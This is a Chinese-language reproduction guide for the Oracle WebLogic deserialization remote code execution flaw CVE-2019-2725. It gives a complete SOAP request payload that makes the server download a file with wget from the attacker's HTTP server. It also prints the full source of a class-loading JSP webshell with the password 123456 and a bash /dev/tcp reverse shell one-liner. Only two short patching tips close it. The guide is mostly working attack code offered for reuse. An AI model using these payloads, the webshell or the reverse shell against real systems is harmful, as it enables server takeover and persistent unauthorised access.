Weblogic反序列化远程命令执行(CVE-2019-2725)
漏洞描述：
CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞，这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞，通过针对Oracle官网历年来的补丁构造payload来绕过。
复现过程：
1.访问ip：port
2.可以访问
/_async/AsyncResponseService，则存在漏洞
3.查看网站路径
/_async/AsyncResponseService?info
4.开启http服务
5.将GET改为POST，随后请求包部分除了第一行第二行保留，其他全部替换如下payload
POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 841
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://ip:port/jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/1.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
6.使用payload上传jsp木马
Jsp源码，密码123456
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("123456");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
7.访问上传木马
8.蚁剑连接
9.反弹shell
9.1payload
bash -i >& /dev/tcp/target ip/target port 0>&1这里>&需要转换，否则无法利用
例：
bash -i >& /dev/tcp/ip/9999 0>&1
9.2本机监听
修复建议：
1.升级本地JDK环境
2.及时安装官方补丁